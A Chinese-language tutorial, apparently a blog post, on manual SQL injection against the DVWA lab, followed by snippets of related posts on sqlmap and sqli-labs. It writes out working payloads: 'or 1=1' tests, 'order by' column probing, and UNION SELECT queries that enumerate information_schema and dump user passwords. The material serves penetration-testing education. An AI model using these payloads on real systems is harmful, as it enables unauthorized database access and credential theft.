滲透測試基礎之sql注入

2022-08-26 21:00:19 字數 1324 閱讀 9927

1、什麼是sql注入?

sql注入攻擊是通過將惡意的sql查詢或新增語句插入到應用的輸入引數中,再在後台sql伺服器上解析執行進行的攻擊,它目前是黑客對資料庫進行攻擊的最常用的手段之一。

2、sql注入能帶來的威脅?

猜解後台資料庫,這是利用最多的方式,盜取**的敏感資訊。

繞過認證,列如繞過驗證登入**後台。

注入可以借助資料庫的儲存過程進行提權等操作。

3、手動sql注入演示

3.1、驗證是否存在漏洞

輸入1:

輸入 1' or 1=1#:

我們是通過控制引數id的值來返回我們需要的資訊。如果我們不按常理出牌,比如在輸入框中輸入1『 or 1 = 1# 實際執行的sql語句會變成。通過返回結果 ,我們可以判斷此處存在sql注入。

3.2、猜測查詢語句的字段數:

輸入 1' order by 1#:

輸入 1' order by 2#:

輸入 1' order by 3#:

通過這三次訪問,可以判斷目前只查詢兩列資料,分別為first name和surname;

3.3、獲取當前資料庫

我們使用union select 聯合查詢繼續獲取資訊。union運算子可以將兩個或者兩個以上select語句的查詢結果集合合併成乙個結果集顯示,即執行聯合查詢。需要注意在使用union查詢的時候需要和主查詢的列數相同,而我們之前已經知道了主查詢列數為2。

輸入 1' union select 1,database() #

說明當前的資料庫為dvwa,我們嘗試獲取dvwa資料庫中的表名。information_schema是mysql自帶的一張表,這張資料表儲存了mysql伺服器所有資料庫的資訊,如資料庫名、資料庫的表、表欄的資料型別與訪問許可權等。該資料庫擁有乙個名為tables的資料表,該錶包含兩個欄位table_name和table_schema,分別記錄dbms中的儲存的表名和表名所在的資料庫。

輸入   1' union select table_name,table_schema from information_schema.tables where table_schema = 'dvwa'#

說明資料庫dvwa中一共有兩個表,guestbook與users

3.4、獲取表中的字段

輸入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' #

3.5、獲取表中資料

輸入 1' union select user, password from users#

Mac滲透測試 之SQL注入Demo

二 sql注入 三 參考文章 2 驗證sqlmap安裝成功 1 首先網上找到了sql 注入靶場 基礎語法 sqlmap.py u 注入位址 dbs 列舉資料庫 sqlmap.py u 注入位址 current db 當前資料庫 sqlmap.py u 注入位址 users 列資料庫使用者 sqlma...

滲透測試和CTF中SQL注入

本文內容主要基於mysql的注入 首先,sql注入的成因 開發人員在開發過程中,直接將url中的引數,http body中的post引數或其它外來的使用者輸入 如cookies user agent等 與sql語句進行拼接,造成待執行的sql語句可控,從而使我們可以執行任意sql語句 1 可回顯的注...

滲透測試 SQL自動化注入

自動化注入 半自動化 burp 全自動sqlmap 定製化指令碼 sqli labs題庫 less 01 字元型注入 單引號 id 1 id 1 and 1 2 union select 1,version 3 less 02 數字型注入 id 2 union select 1,2,version ...